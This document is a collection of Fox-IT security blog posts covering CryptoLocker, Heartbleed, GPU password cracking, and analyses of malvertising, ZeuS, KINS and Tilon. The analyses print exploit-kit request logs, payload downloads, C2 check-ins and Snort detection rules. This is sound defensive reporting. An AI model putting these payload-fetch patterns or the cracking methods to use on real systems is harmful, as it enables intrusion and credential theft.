Update on DecryptCryptoLocker

A month ago Fox-IT and FireEye announced the DecryptCryptoLocker service, which provides free private keys to victims of the CryptoLocker Malware. We decided not only to share the information with victims for free, but also provide a website that provides the right key to victims, saving them a lot of time and effort. For each request the website needs to do comparisons to over half a million private keys to obtain the right one. This blog and the accompanying one from FireEye serves as an update on CryptoLocker and the DecryptCryptoLocker service.


We’ve got a lot of reactions, hundreds of inquiries and thank you notes, and tens of thousands of social media interactions. Steve Belleguelle, system administrator for multiple customers, wrote “Just a short message to say thank you so much for the work in obtaining the CryptoLocker keys database and then providing the DecryptCryptoLocker website. One of my customers ‘lost’ many thousands of files due to this malware and we have now been able to recover most of them.” For us that reaction alone makes it worth the effort, but Steve is not alone: up until last week we were able to provide 2900 keys to victims, and dozens of keys are still being provided on a daily basis. For that reason we decided to keep the DecryptCryptoLocker website running for several months. If you know a victim, point them to it.

Update on CryptoLocker

Most of the operators behind P2P ZeuS and CryptoLocker have not been seen since the operation against this group and their infrastructure, however this does not mean that the threat has gone away. The past months have seen a lot of fluidity, caused by new players trying to enter this space and existing customers of the P2P ZeuS group looking for new solutions for their crimeware needs.

Parts of the inject code have reappeared in other botnets, we are tracking new malware variants being developed which appear to re-use or build upon parts of P2P Zeus and there is an upsurge activity from Gozi, Bugat and other existing malware variants. This means some of the high profile customers of P2P Zeus are looking for a new custom piece of malware while others customers simply joined other existing operations like Gozi.

The fact that the CryptoLocker malware netted the P2P Zeus group significant income has also lead to renewed interest in ransomware as a way to make money and copycat malware using the same approach have now appeared, an example being Cryptowall – which has even copied part of the name.

Some numbers

When we started the project, we could only guess how many people we would be able to help. Now, after a month we can do a first assessment.

Please note that these statistics are not in any way correlated to personal identifiable information; and that PII was used for nothing else than delivering the private keys.

The infection rate as mentioned in the original blog post is shown below:


If we compare that to the decryption requests, we can see the data correlates. Indeed the top countries requests are made from, are countries where English is a major language.



The total number of valid decryption requests is 2900. An interesting fact is that in the UK, relatively more victims have requested their keys than in the US – more than in all other large countries to be precise. Only some very small countries with a handful of infections showed greater ratios, which can be attributed to too low statistical sample sizes.

The type of files that were offered for private key matching show some interesting things too.


Although this is not necessarily a representation of the actual files being encrypted with malware, one can imagine that a .dwg file (a CAD file) might represent a lot of value to the victim, in terms of specialist hours spent on working on the file.

Feedback and other ransomware victim solutions

We try to answer every question we’re asked via e-mail or social media. Due to the overwhelming amount of feedback a reaction might have taken some time. The most asked question was from victims of other ransomware: will we be able to provide a solution for CryptoWall, Synolocker, CryptoLocker V2 or others? Unfortunately we don’t offer decryption keys for these ransomwares. It is unlikely we will provide something for that anytime soon.


The DecryptCryptoLocker service has been able to help thousands, and will be continued for several months, hopefully helping more victims reclaiming their files. While the original CryptoLocker malware is not used anymore, criminals though seem encouraged by its success and many more families of ransomware are now seen in the wild.

CryptoLocker ransomware intelligence report

In the beginning of September 2013, the CryptoLocker malware variant appeared in the wild, spread exclusively by the infamous P2P ZeuS (aka Gameover ZeuS) malware. CryptoLocker had a simple purpose: to act as ransomware, encrypting important files such as images and documents, and then asking the victim for money to unlock the files.

CryptoLocker warning
Image source: Ars Technica

In collaboration with FireEye, InTELL analysts at Fox-IT worked on the investigation. By the end of 2013, certain groups that were focused on online banking fraud, were moving to less risky attacks, such as ransomware, click fraud, and crypto coin mining. All of these attack types pose lower risk to the criminals compared to online banking attacks. P2P ZeuS was one of these groups.

US Law Enforcement led a joint operation from the 30th of May 2014, leading to a long term disruption of both P2P Zeus and CryptoLocker. A detailed description of the operation is available here.

CryptoLocker used AES symmetric cryptography to encrypt the files and encrypted the AES key with an RSA-2048 bit public key generated on the server side of CryptoLocker. For each infection a new RSA asymmetric key pair was generated on the CryptoLocker server. This rendered files impossible to recover for CryptoLocker victims on their own. To recover files, the malware offered victims the option to purchase the required RSA-2048 private key. The CryptoLocker authors began charging victims 100 USD in September 2013 to recover their files, and by May 2014, were charging victims 500 USD for recovery.

Not every computer infected with P2P ZeuS malware became infected with CryptoLocker. The reason for this is that CryptoLocker ran on victim machines alongside P2P ZeuS malware, which was used to commit financial fraud. In order for P2P ZeuS to be successful, a victim had to remain unaware that his/her system was compromised. Therefore, only a handful of P2P ZeuS botnets within the full P2P ZeuS network installed CryptoLocker. From September 2013 through May 2014, over half a million (545,146) infections occurred. This is much less than the amount of infections of P2P ZeuS over the same period.

Of the botnets distributing CryptoLocker, infections were mostly limited to victims located in the US, Canada, UK and Australia. These regions were most likely selected for their use of English as the primary language. This is shown in the heat map below – with over 60% of the CryptoLocker infections located in the US.


While CryptoLocker infections started in the beginning of September 2013, the largest number of infections in one month occurred during October 2013, with over 155000 systems affected worldwide. This accounts for nearly 29% of all infections between September and May 2014. After October 2013 the rates dropped, but still steadily pacing at around 50,000 infections per month.

The CryptoLocker infrastructure was separate from the P2P ZeuS infrastructure. It used a fast-flux network offered by a bulletproof hoster and a service hidden in the TOR network. These two channels were terminated on a proxy system that lead directly to the backend system, allowing victims to pay the ransom even though the fast flux network experienced various disruptions by security researchers.

The majority of victim payments to CryptoLocker were processed through Moneypak, but also a considerable amount of money was paid through the use of Bitcoins. A new Bitcoin address was created for each infection, making it harder for researchers to track and easier for CryptoLocker operators to distinguish transactions. In total, over 1400 Bitcoins (1407.24575477 BTC, around 700,000 USD in current exchange rates) were received. That is more than the 1388 BTC the malware requested, apparently some victims tried to transfer partial amounts. Unfortunately for them these lower amounts were lost for them and they added a small bonus for the criminals. A small number of early payments were received via Paysafecard and Ukash. In total, the amount of money made during the 9 month CryptoLocker operation was around 3 million USD. This accounts for the fluctuating Bitcoin exchange rate over time.

In the end, 1.3% of victims paid a CryptoLocker ransom, therefore, a large amount of victims likely permanently lost files due to this attack. Fox-IT InTELL and FireEye provide a free service to victims, to recover the private keys associated to CryptoLocker infections. This was announced on August 6 2014, in this press release. This gives CryptoLocker victims the ability to recover their files and restore the contents.

A big thank you to Kyrus tech for their tool Cryptounlocker. And finally we wish to thank Surfright for their assistance by providing encrypted files they generated using CryptoLocker.

Michael Sandee



OpenSSL ‘heartbleed’ bug live blog

heartbleedA bug has been identified in OpenSSL, all details can be found at heartbleed.com. The bug has been assigned CVE-2014-0160. OpenSSL versions 1.0.1 – 1.0.1f are vulnerable. We advise to upgrade OpenSSL to version 1.0.1g or higher

Test if you are vulnerable

You can test if you are vulnerable by requesting a heartbeat response with a large response. If the server replies your SSL service is probably vulnerable. You can use any of the tests below:

This vulnerability only applies to OpenSSL versions 1.0.1-1.0.1f. Other SSL libraries, such as PolarSSL, are not vulnerable. OpenVPN-NL, which is depending on PolarSSL, is not affected.


We advise to perform the following steps for every vulnerable SSL service

  • Upgrade the OpenSSL version to 1.0.1g
  • Request revocation of the current SSL certificate
  • Regenerate your private key
  • Request and replace the SSL certificate

Indicator of Compromise

It is possible to detect successful exploitation of this vulnerability by inspecting the network traffic. We have developed 2 sets of Snort signatures to detect succesful exploitation of the ‘heartbleed bug’. The first set has a higher detection rate but also quite a few false positives:

alert tcp any [!80,​!445] -> any [!80,​!445] (msg:"FOX-SRT - Suspicious - Possible SSLv3 Large Heartbeat Response"; flow:established; ssl_version:sslv3; content:"|18 03 00|"; depth:3; byte_test:2,​>,​200,​3; byte_test:2,​<,​17000,​3; threshold:type limit,​ track by_src,​ count 1,​ seconds 600; reference:cve,​2014-0160; classtype:bad-unknown; sid: 21001126; rev:8;)
alert tcp any [!80,​!445] -> any [!80,​!445] (msg:"FOX-SRT - Suspicious - Possible TLSv1 Large Heartbeat Response"; flow:established; ssl_version:tls1.0; content:"|18 03 01|"; depth:3; byte_test:2,​>,​200,​3; byte_test:2,​<,​17000,​3; threshold:type limit,​ track by_src,​ count 1,​ seconds 600; reference:cve,​2014-0160; classtype:bad-unknown; sid: 21001127; rev:8;)
alert tcp any [!80,​!445] -> any [!80,​!445] (msg:"FOX-SRT - Suspicious - Possible TLSv1.1 Large Heartbeat Response"; flow:established; ssl_version:tls1.1; content:"|18 03 02|"; depth:3; byte_test:2,​>,​200,​3; byte_test:2,​<,​17000,​3; threshold:type limit,​ track by_src,​ count 1,​ seconds 600; reference:cve,​2014-0160; classtype:bad-unknown; sid: 21001128; rev:8;)
alert tcp any [!80,​!445] -> any [!80,​!445] (msg:"FOX-SRT - Suspicious - Possible TLSv1.2 Large Heartbeat Response"; flow:established; ssl_version:tls1.2; content:"|18 03 03|"; depth:3; byte_test:2,​>,​200,​3; byte_test:2,​<,​17000,​3; threshold:type limit,​ track by_src,​ count 1,​ seconds 600; reference:cve,​2014-0160; classtype:bad-unknown; sid: 21001129; rev:8;)

The second set has a lower false positive ratio but might also have a slightly lower detection rate:

alert tcp any any -> any any (msg:"FOX-SRT - Flowbit - TLS-SSL Client Hello"; flow:established; dsize:< 500; content:"|16 03|"; depth:2; byte_test:1,​ <=,​ 2,​ 3; byte_test:1,​ !=,​ 2,​ 1; content:"|01|"; offset:5; depth:1; content:"|03|"; offset:9; byte_test:1,​ <=,​ 3,​ 10; byte_test:1,​ !=,​ 2,​ 9; content:"|00 0f 00|"; flowbits:set,​foxsslsession; flowbits:noalert; threshold:type limit,​ track by_src,​ count 1,​ seconds 60; reference:cve,​2014-0160; classtype:bad-unknown; sid: 21001130; rev:10;)
alert_testing tcp any any -> any any (msg:"FOX-SRT - Suspicious - TLS-SSL Large Heartbeat Response"; flow:established; flowbits:isset,​foxsslsession; content:"|18 03|"; depth: 2; byte_test:1,​ <=,​ 3,​ 2; byte_test:1,​ !=,​ 2,​ 1; byte_test:2,​ >,​ 200,​ 3; byte_test:2,​<,​16409,​3; threshold:type limit,​ track by_src,​ count 1,​ seconds 600; reference:cve,​2014-0160; classtype:bad-unknown; sid: 21001131; rev:6;)

Note: if you want to detect vulnerable SMTP servers that are being exploited via STARTTLS, make sure that you do not have “ignore_tls_data” enabled on your SMTP preprocessor.


An attacker can retrieve a block of memory of the server up to 64kb. There is no limit on the number of attacks that can be performed. The attacker has no control over the memory region where the block is read from. Sensitive information that can be obtained is:

  • SSL private keys
  • Basic authorization strings (username / password combinations)
  • Source code

This bug affects both sides of the connection. Not only will client certificates not save you from having to update your server certificate, they can be read from the client (along with your username, password etc.) by any server you connect to. DNS poisoning, MitM etc. can be used to direct clients to a malicious server – it seems that this vulnerability can be exploited before the server has to authenticate itself.

According to http://www.openssl.org/news/openssl-1.0.1-notes.html the heartbeat extension was introduced in March 2012 with the release of version 1.0.1 of OpenSSL. This implies the vulnerability has been around for 2 years.


OpenSSL has provided an updated version (1.0.1g) of OpenSSL at https://www.openssl.org/source/.

Linux distributions are providing updates right now, so check your system for updates. Some Linux distributions have backported the fix to previous versions, ie Debian’s OpenSSL 1.0.1e-2+deb7u5 package has incorporated the fix.


When running the ssltest.py script against yahoo.com we were presented with this (censored) output. It shows clearly that the ‘heartbleed bug’ has serious consequences.

heartbleed example




Building Bowser – A password cracking story

At Fox-IT we perform a lot of penetration tests. Invariably we encounter hashed versions of passwords that need to be tested for strength. We suspected that with a relatively small investment most passwords could be cracked, regardless of their complexity. It turns out this is true for any password of 8 characters or less. 

This is a story about passwords. It’s intended for hardware lovers and IT security managers alike. The purpose is to change the views on what requirements a password has to fulfill to be considered “safe”. Basically, this story should convince you that conforming to the default Microsoft Password Complexity Requirements (http://technet.microsoft.com/en-us/library/cc264456.aspx) barely bothers hackers trying to crack your password, and explains why everyone should be switching to passphrases. Don’t bother with taking the first letter of all words in a sentence, just use the whole sentence. The longer the better. Cracking passwords in a short timeframe is something we were able to do on a fairly limited budget, but will scale up very nicely with a larger one. Imagine what someone with virtually unlimited funds (intelligence agencies, countries) is able to do to your precious password hashes.

Over the years we’ve done our fair share of penetration tests, both on external services and internal networks. This includes web applications, Windows- and Unix networks, mobile applications, etc. During these tests it’s not uncommon to come across hashed passwords in one form or another. While some protocols (like NTLM) are vulnerable to a technique called “passing-the-hash” (essentially using the hash itself as a password), sometimes you just want its plaintext counterpart. For the sake of consistency, this story will focus on NTLM (Windows) passwords.

One of the ways of obtaining the plaintext password is by “cracking” the hash. You can go about this using different techniques. The most basic of which being a “brute-force” attack, simply trying all combinations of letters, numbers, special characters, etc. and see if the resulting hash matches the hash you are trying to crack.

Another technique is using wordlists. These are huge lists containing hundreds, thousands and even millions of words depending on the size of the list. By simply hashing each word on the list one by one, and seeing if the resulting hash matches your target hash you can try and “crack” it this way.

Modern tools allow you to use these methods in smarter ways, by combining wordlists with brute-force techniques, or applying rules to words on the list (adding capitals, appending numbers or special characters, etc.). Still, this can be a time consuming project when using regular desktop hardware.

Enter the video card or GPU (Graphics Processing Unit). While designed for running games, these cards have power in all the right places for use in password cracking. I could go on explaining about the how, why and other technical mumbo-jumbo, but sometimes pictures indeed are better than words. This screenshot was taken from the password cracking tool hashcat (http://www.hashcat.net) and shows the speed of cracking an NTLM hash while running on two cores of an Intel i7 3840QM CPU:


Almost 34 million words per second (34MH/s). Sounds like a lot right? Well, it’s not, really. At this rate, trying all 8 character passwords (uppercase letters, lowercase letters, decimals and special characters) takes approximately four to five months.

Let’s try cracking that same password using oclHashcat, hashcat’s big brother, designed for use with GPU’s. This screenshot was taken while running oclHashcat on our old cracking machine with a single AMD Radeon 7970 GPU:


Wow, a single GPU can do almost 18000 MH/s. Compared to the 34MH/s the CPU can do, that’s around 53000% more per second. At this rate, trying all 8 character passwords will take somewhere around five days. We are impatient people though, so we wanted more speed.
This is when we decided to build a new dedicated server, designed for one thing, and one thing only: cracking password hashes. This new server, codename “Bowser”, would be a 4U server chassis from Tyan (FT72B7015), have two Intel Xeon CPU’s, two 1TB SSD’s, 4x8GB of RAM and most important, eight AMD Radeon R9 290X GPU’s. Time to place some orders!
The first things to arrive were the GPU’s. Just look at these beauties:

The next day, the CPU’s came in:


The rest however, took a while. The Tyan chassis wasn’t in stock and had to be back-ordered from Taiwan. Almost two weeks went by, until:

Finally! Time to start building. Instead of boring you with a wall of text, I’ll just let the pictures do the talking:

Quite something right? Now time for the hard part. Making the system secure enough for customer data. The OS we’ve chosen to install was Debian 7 at first, but it looked like the 3.2 kernel shipped with Debian 7 did not very much like our hardware. Random kernel panics and freezes everywhere. So, on to Ubuntu Server 12.04.3.

The first 1024MB of the first SSD was partitioned as unencrypted /boot partition. The first 1024MB of the second SSD was partitioned as unused space. This was done because the rest of both SSD’s were configured to run as a RAID0 volume. Why? It’s not business critical data, and large wordlists on slow disks really impact the cracking performance.

On the newly created RAID0 volume, a LUKS encrypted partition was made. Using LVM, a volume group was created on that partition. This volume group contained two logical volumes. The root file system (/) and some swap space.

After OS installation was done, it was time for some benchmarks! Firstly, we made sure that the BIOS switch on all the cards was set to “Über mode” (http://www.hardocp.com/article/2013/10/23/amd_radeon_r9_290x_video_card_review/2#.Uukqp3VdXZg). Then we installed a tool called od6config (http://epixoip.github.io/od6config/) to fix the fan speed of the cards at 100%, the GPU clock at 1000MHz and the Memory clock at 1250Mhz. Because a running X session is necessary to use the GPU’s, we also installed Ubuntu Desktop and the AMD 13.12 driver package.

The firewall was configured to only allow communication needed for remote management. All other incoming and outbound traffic was disallowed.
Finally, benchmark time! Feast your eyes on this:


145GH/s per second! That is a performance increase of around 800% compared to the single card. This means that we are able to retrieve all 8 character NTLM hashed passwords (uppercase, lowercase, decimal and special characters) within 24 hours! All the while, due to the insane cooling capabilities of the Tyan chassis, temperatures keep well within acceptable ranges:


Note: adapter 1 has a higher temperature than the rest, because this adapter is responsible for showing the desktop.
After some tuning, we managed to get a 100 MHz core overclock on all the cards. This resulted in a 20Gh/s increase in performance with a total of almost 190GH/s (while cracking a single NTLM hash):


That’s the equivalent of 9 of these cards running at stock speeds. The temperatures after about 19 hours seem almost unaffected. The card responsible for showing the desktop peaked at 76C, while the other cards average at about 65C.

It does take a considerable amount of power to run this machine though:

image064 image066

2500 Watts, 12 Amps. Nice.

I can hear you thinking “Why not just use rainbow tables and get it over with”. While it’s true that rainbow tables can be an effective way of cracking passwords, they are not a magical solution. First off, the tables themselves require a lot of storage space (for example: around 1TB for alpha-numeric passwords, length one to eight). Secondly they take a very long time to generate and every type of hash needs a new table. Lastly, with a large list of hashes to crack (say, a dump of all active directory passwords) the pre-calculation when using rainbow tables can take much longer than just using wordlists or brute-force attacks. In most cases, it is faster to just brute-force a hash then to use rainbow tables on it. Besides, the combination of wordlists, rules and brute-force can usually crack more than 80% of the hashes already. If you really need a specific hash cracked, you can always resort to rainbow tables after brute forcing the bulk of the hashes.

Well, that’s it. Feel free to leave any questions you might have in the comments, and happy cracking!

Donny Maasland, Pentester at Fox-IT

Tilon/SpyEye2 intelligence report

SpyEye2 infrastructure

Tilon, son of Silon, or…
SpyEye2 evolution of SpyEye?

The malware family commonly known as Tilon has been around for several years now. While several public analysis reports have described the malware; no one has thus far linked it with the well-known SpyEye malware family. In light of the recent news of the guilty plea of SpyEye distributor Gribodemon we revisit the Tilon malware family. We give a detailed analysis of similarities to SpyEye and also place Tilon and SpyEye into a wider context of the digital underground.

The original name Tilon was chosen due to the similarities with Silon. This was merely true for the outer layer of the malware, the so called loader. A better name probably was SpyEye2, as the functional part of the malware is sourced from SpyEye. The team behind its creation was similar, however reinforced with at least one better skilled programmer.

The decline in Tilon/SpyEye2 activity after the arrest of Gribodemon was evident, the development however continued and the fraudulent activities did not stop. Finally after nearly a year of declining usage, it seems we might have come to the real end of the SpyEye era, or will the team behind SpyEye2 continue and start working on getting new customers?

Read all the details in this intelligence report.


Malicious advertisements served via Yahoo

Detection of the infection

Fox-IT operates the shared Security Operations Center service ProtACT. This service monitors the networks of our clients for malicious activity. On January 3 we detected and investigated the infection of clients after they visited yahoo.com.


Clients visiting yahoo.com received advertisements served by ads.yahoo.com. Some of the advertisements are malicious. Those malicious advertisements are iframes hosted on the following domains:

  • blistartoncom.org (, registered on 1 Jan 2014
  • slaptonitkons.net (, registered on 1 Jan 2014
  • original-filmsonline.com (
  • funnyboobsonline.org (
  • yagerass.org (

Upon visiting the malicious advertisements users get redirected to a “Magnitude” exploit kit via a HTTP redirect to seemingly random subdomains of:

  • boxsdiscussing.net
  • crisisreverse.net
  • limitingbeyond.net
  • and others

All those domains are served from a single IP address: This IP-address appears to be hosted in the Netherlands.

This exploit kit exploits vulnerabilities in Java and installs a host of different malware including:

  • ZeuS
  • Andromeda
  • Dorkbot/Ngrbot
  • Advertisement clicking malware
  • Tinba/Zusy
  • Necurs

The investigation showed that the earliest signs of infection were at December 30, 2013. Other reports suggest it might have started even earlier.

Schematically the exploit looks like this:

yahoo ads malware


Based on a sample of traffic we estimate the number of visits to the malicious site to be around 300k/hr. Given a typical infection rate of 9% this would result in around 27.000 infections every hour. Based on the same sample, the countries most affected by the exploit kit are Romania, Great Britain and France. At this time it’s unclear why those countries are most affected, it is likely due to the configuration of the malicious advertisements on Yahoo.

yahoo ad distribution


It is unclear which specific group is behind this attack, but the attackers are clearly financially motivated and seem to offer services to other actors. The exploit kit bears similarities to the one used in the brief infection of php.net in October 2013.


Block access to the following IP-addresses of the malicious advertisement and the exploit kit:

  • Block the 192.133.137/24 subnet
  • Block the 193.169.245/24 subnet

Also closely inspect network traffic for signs of successful exploits for any of the dropped malware.

Yahoo is aware of the issue and looking into it.

Please watch this page for updates.

Update January 3, 1815 (GMT+1): It appears the traffic to the exploit kit has significantly decreased. It looks like Yahoo is taking steps to fix the problem.

Analysis of malicious advertisements on telegraaf.nl

Starting on Wed, 31 July 2013, 18:54:50 Fox-IT’s monitoring system detected a redirect occurring on telegraaf.nl. It was another case of advertisement provider abuse.
One of the advertisement providers loaded ads from an outside resource which returned an exploit kit named “FlimKit” exploit kit.
After first being removed from telegraaf.nl a second exploit kit redirect dropping a similar payload with a different hash, a list of the dropped samples:


Java exploits seen used:

MD5 hashes of all samples seen:

  • a5df4884c44a4c812a4cc7a1c133238e
  • 0e12760912ffeb6febe1bb790169eb35
  • a516e257177d6aa3d7edf3ff80c88304
  • dda3b490cd01690e12b280e5bb935bce

The HTTP-requests looked as follows for a client:

  • “GET hxxp://www.telegraaf.nl/ HTTP/1.1″ – -
  • “GET hxxp://s.ads1337.com/s4a2npr35gmiogggggw0w0g8cw HTTP/1.1″ – – “hxxp://www.telegraaf.nl/”
  • “GET hxxp://youradserv.com/adserver/cpvload2.php HTTP/1.1″ – – “hxxp://s.ads1337.com/s4a2npr35gmiogggggw0w0g8cw”
  • “GET hxxp://sopixocyz.nl/0ha4hiozw1dzxegaehdg HTTP/1.1″ – – “hxxp://youradserv.com/adserver/cpvload2.php”

The “sopixocyz” domain was the exploit kit. The domains use a form of DGA (domain generation algorithm) the following shows an analysis run done on a virtual machine:

  • “GET hxxp://youradserv.com/adserver/cpvload2.php HTTP/1.1″
  • “GET hxxp://ubaduroqi.nl/gk1mxwyeskomx9vohca HTTP/1.1″ – – “hxxp://youradserv.com/adserver/cpvload2.php”
  • “GET hxxp://static.avast.com/web/i/form-close.png HTTP/1.1″ – – “hxxp://ubaduroqi.nl/gk1mxwyeskomx9vohca
  • “GET hxxp://youradserv.com/favicon.ico HTTP/1.1″
  • “GET hxxp://ubaduroqi.nl/m2d1yiscwd HTTP/1.1″
  • “GET hxxp://ubaduroqi.nl/79dffb97cdemt7z7dtrwcysmb9.jar HTTP/1.1″
  • “GET hxxp://ubaduroqi.nl/m2d1yiscwd HTTP/1.1″
  • “GET hxxp://ubaduroqi.nl/m2d1yiscwd HTTP/1.1″
  • “GET hxxp://ubaduroqi.nl/fc43a11b2f0maovn8u9ieje7 HTTP/1.1″
  • “GET hxxp://obofonaxy.nl/X3SE7pFtYnh5Lm1tb2JvZm9DYXh5Lm4= HTTP/1.1″

Java was targeted for the attack using CVE-2012-1723 and CVE-2013-2423. The files dropped by this kit were (in our case, filenames are randomized):

  • rysxtbciqycmxeedc.dll
  • rysxtbciqycmxeedc.exe

After running the user is prompted with the following window which blocks any interaction to the rest of the desktop:


The odd part is that the whole thing is hosted on NL based servers and the DGA domains are also NL this is quite rare.
The IP’s involved in the exploit kit and payload domain are:


A small sample of the DGA domains we encountered:

  • aqaxiboqe.nl
  • codudiref.nl
  • ducyqaxas.nl
  • fojavexuz.nl
  • obofonaxy.nl
  • obyfyfexe.nl
  • ubaduroqi.nl
  • sopixocyz.nl


Because the malware blocks all interaction with the desktop and modifies various registry keys it is quite hard to do a cleanup manually or automated.
There is however a solution to disable the malware from running so you can backup your files and do a reinstall.
This will only work if another account is available on the machine. Reboot the machine in safe mode and enter into a networked mode using the other user. Using your own user will make the machine reboot on logon, this is done by the malware.
When logged in you can locate the binaries in %temp%, this is where they were dropped from the exploit kit: %systempath%\temp\<random filename>.exe (%systempath% translates as the Windows folder on your main drive)
Remove/Move/Rename those files and reboot the machine. When rebooted, the machine will show the desktop without explorer running and only a command prompt showing an error. This is the malware not being able to start:


Run “explorer” in the command prompt in order to get the taskbar and file browser back. Start backing up files and reinstall the machine when done.
The malware makes various edits in the registry and cleaning up all of these is time consuming and not per se successful. This method does allow file backups.

Alternatively you can use HitmanPro.Kickstart to clean up your PC.

Yonathan Klijnsma, Security Specialist at Fox-IT

Analysis of the KINS malware

The malware family KINS, thought to be new by researchers, has been used in private since at least December 2011 to attack financial institutions in Europe, specifically Germany and The Netherlands. It is fully based on the leaked ZeuS source code, with some minor additions. While the technical additions are interesting, they are far from ground breaking.

Recently the malware author has commercialized the malware to be sold as a kit. While many criminals are looking for a kit based banking malware product, it has not been as widely used as Citadel and SpyEye. Even more recently the existing users of KINS have migrated to another ZeuS based kit, suggesting that the uptick in KINS is likely short lived.

Recently RSA blogged about a new malware variant named KINS. The malware is advertised, apart from having typical features like ZeuS and SpyEye, as jumping into in the gap that the other malware families have left open.

KINS is short for “Kasper Internet Non Security”, obviously a reference to the similarly named Kaspersky product. The name has been thought up to have an actual catchy name to help sell. It has been used in the wild (although in private) since at least December 2011, for over one and a half years. Fox-IT InTELL started to research this threat in January 2012 by reverse engineering the malware and researching the relationships it had. It is fully based on the leaked ZeuS source code. The logo is Casper, the friendly ghost, but obviously this malware is much less friendly to its victims. On top of that it’s also unfriendly to researchers.


The first variant of KINS was used by a singular group which was seemingly responsible for both the fraud and the development of the Trojan. The attacks took place in 2011 and 2012. They were mainly focused on The Netherlands and Germany. The group had a longer experience of using ZeuS, even prior to the source code leak. They used ZeuS to attack targets in The Netherlands. The code on the backend was almost identical to the ZeuS code. In 2011 and 2012 it did not carry the name KINS or Kasper Internet Non-Security yet. In 2013 KINS was being commercialized and was acquired by various actors. From then on targets were all over the world, though a strong focus on the European financial market remained.

With an array of fairly standard features, and relatively simple additions to the standard ZeuS, such as reporting of installed security product information, the malware platform does not bring anything really new. There are however some features of this malware, not aimed at the functionality for the person using it, but aimed at complicating malware analysis. One of these features is the use of a build time generated virtual machine language interpreter, to decrypt the static config of the ZeuS build. The decryption is part of the virtual machine language opcode blob. Due to its dynamic nature it is more difficult to extract compared to other ZeuS variants. Below this article we will show some more information about the Virtual Machine code structure.

In the past months it seems a number of users of KINS have migrated to yet another ZeuS variant, based both on the leaked ZeuS source code and on the leaked powerloader sourcecode. Probably those users of KINS were not satisfied with the product and it did not deliver as advertised. ZeuS variants continue to appear and there is a large demand for kit based Trojans.

Disassembly of related functions from the KINS malware showing the Virtual Machine code structure:


The following md5 hashes are associated with KINS over time:

b3edd03e637283abd1f82d979a4cc544 (Feb 2012)
644447e4fa0ab9dc81dfc6d1ecc80721 (Aug 2012)
3ffd2ec6238a1bead3fd880a59728b9c (Aug 2012)
7b5ac02e80029ac05f04fa5881a911b2 (Mar 2013)
460bdb02137109305e6c2b360246f0be (Mar 2013)
bad07fa39920adf54a61064dd6394922 (Mar 2013)

Geïnfecteerde advertenties op nu.nl

Fox-IT houdt voor haar klanten de netwerkbeveiliging in de gaten. Hierbij zijn op 5 juni tussen 10:42 en 15:34 besmettingen geconstateerd van klanten die nu.nl bezochten. Er zijn waarschijnlijk meer Nederlanders besmet na een bezoek aan nu.nl.

De infectie werd verspreid via advertenties. De oorzaak is een advertentieserver die op nu.nl adverteerde. De software om advertenties te tonen was waarschijnlijk gecompromitteerd.

Geïnfecteerde bezoekers zijn besmet met een vernieuwde versie van de banking malware ZeuS. De malware wordt nog door slechts 2 van de 47 virusscanners opgemerkt.

Wat kunt u doen?

Indien u op 5 juni nu.nl heeft bezocht is het raadzaam uw computer te controleren op de malware. De malware laat bestanden achter in de “Application Data” folder die worden opgestart bij het aanzetten van de computer. Controleer of er onbekende programma’s worden opgestart.

Indien u beschikt over proxy logs controleer dan of uw gebruikers naar zijn geweest, dit is het IP-adres vanaf waar de malware is verspreid.

Besmette computers verbinden op en om commando’s op te halen.


Yonathan Klijnsma and Lennart Haagsma

Gedetailleerde analyse van het Fox-IT Security Operations Center:

Nu.nl article loaded advertisement from a provider with a compromised OpenX install, one particular example:


The advertisement was loaded from:

hxxp://<removed> .com/www/delivery/afr.php?zoneid=17

This then served a redirect to an exploit kit called “Sweet Orange Exploit Kit”

"GET hxxp://extraprimarilyfurious .biz/sites/directadmin/demos/skins.php?mediakit=22 HTTP/1.1" - - "hxxp://<removed> .com/www/delivery/afr.php?zoneid=17"

As seen from the referrer the advertisement provider redirects to the exploit kit located at extraprimarilyfurious .biz

This then GETs from its own page to get payload information using a java exploit from the main landing page:

"GET hxxp://extraprimarilyfurious .biz/sites/directadmin/demos/yclZU HTTP/1.1" - - "-" "Mozilla/4.0 (Windows XP 5.1) Java/1.5.0_18"

After a successful java exploit the binary is obtained:

"GET hxxp://syncplicitysoap .biz/texis.php?html=296&down=123&honda=4&humor=683&fedora=171&lang=448&wifi=712&flex=748&class=410&guestbook=335053624 HTTP/1.1"

The binary is crypted when downloaded and is decrypted by the java code, in this case it is a loader which talks to a Russian domain to get the ZeuS malware binary.

When Zeus starts it connects to the CnC serving the configuration:

"POST hxxp://puuji.travestieurope .org/amob/ad03928/cfg/config.php HTTP/1.1"

After retrieving its config the malware starts doing periodical checkins to its main CnC to retrieve commands:

"POST hxxp://elbaroni .com/amob/ad03928/global.php HTTP/1.1"

These files are left on the sytem:

C:\Documents and Settings\Administrator\Application Data\<random2>\<random3>.cax
C:\Documents and Settings\Administrator\Application Data\<random4>\<random5>.exe

These programs are started at boot:

C:\Documents and Settings\Administrator\Application Data\<random4>\<random5>.exe
C:\WINDOWS\system32\cmd.exe /c "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\tmp<random1>.bat"

Security advisory: Unencrypted storage of confidential information in Keeper® Password & Data Vault v5.3 for iOS


Fox-IT’s penetration testing team discovered a critical vulnerability in version 5.3 of the “Keeper® Password & Data Vault” app for iPhones, iPods touch and iPads.

An update was released today that is said to resolve the issues that we identified.

We urge all users of this application to install this update as soon as they can, because user information that the app is meant to protect, including the user’s master password, was found to be stored unencrypted.

The full advisory (that includes all technical details) can be found below.

Description: Unencrypted storage of confidential information
Affects:     Keeper® Password & Data Vault v5.3 for iOS
Vendor:      Callpod Inc. / Keeper Security Inc.
Tested on:   iOS 6.1 & iOS 6.1.2
Severity:    Critical
Discovery:   Paul Pols / Fox-IT
Reported:    18-March-2013 17:12 CET
Resolved:    04-April-2013, according to the vendor’s legal counsel
Published:   05-April-2013 16:33 CET


Keeper® Password & Data Vault is a popular application that is used to store and access passwords and other confidential information. The iOS application is advertised to secure all confidential information with military-grade encryption (AES). Versions of the Keeper® software are available for multiple platforms including Android, BlackBerry, iOS, Windows Phone, Linux, Mac OS X and Windows.

keeper welcome masterpasswordstatement

Problem Description

Version 5.3 of the Keeper® Password & Data Vault application for iOS has been found to perform various POST-requests to keeperapp.com and/or keepersecurity.com using SSL/TLS that contain confidential information. The unencrypted content of this traffic is subsequently stored as local cache on the file system of the device. The confidential information that is posted and cached amongst others includes the unencrypted version of the master password and the content of entries that are stored within the application.


